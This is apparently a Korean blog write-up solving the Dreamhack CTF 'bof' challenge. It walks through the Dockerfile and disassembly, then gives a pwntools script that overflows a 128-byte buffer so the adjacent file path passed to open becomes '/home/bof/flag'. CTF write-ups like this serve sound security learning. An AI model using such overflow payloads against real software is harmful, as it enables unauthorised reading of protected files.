rsp-∞
[Dreamhack CTF Season 5 Round #2] bof 본문

버퍼 오버플로우 취약점이 존재하는 문제임을 알 수 있다. 문제 파일을 다운받으면 도커 파일과 cat, flag라는 이름의 텍스트 파일, bof라는 바이너리 파일이 존재한다. 도커 파일을 열어 보자.
FROM ubuntu:22.04@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f
ENV user bof
ENV chall_port 31337
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./deploy/flag /home/$user/flag
ADD ./deploy/$user /home/$user/$user
ADD ./deploy/cat /home/$user/cat
RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chown root:$user /home/$user/cat
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
RUN chmod 440 /home/$user/cat
WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 60 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
이 도커 파일에서 bof가 실행 파일임을 알 수 있다.
ADD ./deploy/$user /home/$user/$user
ENV user bof로 환경 변수가 설정되었으므로 이후 등장하는 모든 $user는 bof로 치환된다.
RUN chmod 755 /home/$user/$user
/home/bof/bof 파일에 실행 권한(755)이 부여되었다는 것을 알 수 있다. 755가 부여된 실행 파일의 경우 주어지는 권한은 다음과 같다.
소유자 : 읽기(r), 쓰기(w), 실행(x)
그룹 및 기타 사용자 : 읽기(r), 실행(x)
이제 bof 파일이 실행 파일임을 알았으므로 이를 디스어셈블해 보자.
pwndbg> disassem main
Dump of assembler code for function main:
0x0000000000401391 <+0>: endbr64
0x0000000000401395 <+4>: push rbp
0x0000000000401396 <+5>: mov rbp,rsp
0x0000000000401399 <+8>: sub rsp,0x90
0x00000000004013a0 <+15>: mov eax,0x0
0x00000000004013a5 <+20>: call 0x40132c <init>
0x00000000004013aa <+25>: lea rax,[rbp-0x10]
0x00000000004013ae <+29>: mov DWORD PTR [rax],0x61632f2e
0x00000000004013b4 <+35>: mov WORD PTR [rax+0x4],0x74
0x00000000004013ba <+41>: lea rax,[rip+0xc6c] # 0x40202d
0x00000000004013c1 <+48>: mov rdi,rax
0x00000000004013c4 <+51>: mov eax,0x0
0x00000000004013c9 <+56>: call 0x4010d0 <printf@plt>
0x00000000004013ce <+61>: lea rax,[rbp-0x90]
0x00000000004013d5 <+68>: mov rsi,rax
0x00000000004013d8 <+71>: lea rax,[rip+0xc55] # 0x402034
0x00000000004013df <+78>: mov rdi,rax
0x00000000004013e2 <+81>: mov eax,0x0
0x00000000004013e7 <+86>: call 0x401130 <__isoc99_scanf@plt>
0x00000000004013ec <+91>: lea rax,[rbp-0x10]
0x00000000004013f0 <+95>: mov rdi,rax
0x00000000004013f3 <+98>: call 0x401236 <read_cat>
0x00000000004013f8 <+103>: lea rax,[rbp-0x90]
0x00000000004013ff <+110>: mov rsi,rax
0x0000000000401402 <+113>: lea rax,[rip+0xc31] # 0x40203a
0x0000000000401409 <+120>: mov rdi,rax
0x000000000040140c <+123>: mov eax,0x0
0x0000000000401411 <+128>: call 0x4010d0 <printf@plt>
0x0000000000401416 <+133>: mov eax,0x0
0x000000000040141b <+138>: leave
0x000000000040141c <+139>: ret
End of assembler dump.
+56에서 print 함수를 호출하는데, 여기서 고양이가 등장해서 meow? 하며 +86에서 scanf 함수로 입력값을 받는다. 이후 +98에서 read_cat 함수를 호출한다. 이 함수도 출제자가 작성한 것 같으니 디스어셈블해 보자.
0x0000000000401245 <+15>: mov QWORD PTR [rbp-0x98],rdi
...
0x000000000040124c <+22>: lea rax,[rbp-0x90]
0x0000000000401253 <+29>: mov edx,0x80
0x0000000000401258 <+34>: mov esi,0x0
0x000000000040125d <+39>: mov rdi,rax
0x0000000000401260 <+42>: call 0x4010e0 <memset@plt>
...
0x0000000000401273 <+61>: mov esi,0x0
0x0000000000401278 <+66>: mov rdi,rax
0x000000000040127b <+69>: mov eax,0x0
0x0000000000401280 <+74>: call 0x401120 <open@plt>
...
0x00000000004012ae <+120>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004012b1 <+123>: mov edx,0x80
0x00000000004012b6 <+128>: mov rsi,rcx
0x00000000004012b9 <+131>: mov edi,eax
0x00000000004012bb <+133>: call 0x401100 <read@plt>
...
0x00000000004012f3 <+189>: lea rax,[rbp-0x90]
0x00000000004012fa <+196>: mov rdi,rax
0x00000000004012fd <+199>: call 0x4010c0 <puts@plt>
+15에서 함수의 첫 번째 인자인 rdi(파일 경로)가 [rbp-0x98]에 저장된다. 이는 파일 이름을 가리키는 포인터이다. 다음 +22에서부터 보면 [rbp-0x90]에서 시작하는 128바이트(0x80)를 memset으로 초기화(0으로 설정)한다. 이는 읽기 버퍼를 위한 공간으로 생각할 수 있다. +61부터는 open 시스템 호출로 파일을 열고 있다. rdi는 앞서 언급했듯 파일 이름([rbp-0x98])이다. esi는 읽기 전용 플래그 0으로 설정되고 있음을 알 수 있다. +120에서는 read 시스템 호출로 파일 내용을 읽는다. [rbp-0x90]에서 시작하는 버퍼에 최대 128(0x80)바이트를 읽는다. 이 바이트 수가 반환값이 되어 rax에 저장된다. [rbp-0x90]에 저장된 읽은 데이터를 출력한다.
버퍼가 128바이트이므로 이를 꽉 채우고 /home/bof/flag를 입력해주면 open의 인자값으로 들어가면서 플래그가 출력될 것이다.
from pwn import *
p = remote("host3.dreamhack.games", _____)
payload = b'a' * 128 + b'/home/bof/flag'
p.sendlineafter(b'meow? ', payload)
p.interactive()
'Write-ups > system' 카테고리의 다른 글
[Dreamhack CTF Season 3 Round #6] mmapped (0) | 2024.11.26 |
---|---|
[Dreamhack CTF Season 4 Round #6] Cherry (0) | 2024.11.19 |
[Dreamhack CTF Season 1 Round #4] cmd_center (0) | 2024.11.14 |
[DreamHack] rop (0) | 2024.05.25 |
[DreamHack] Return to Library (0) | 2024.05.25 |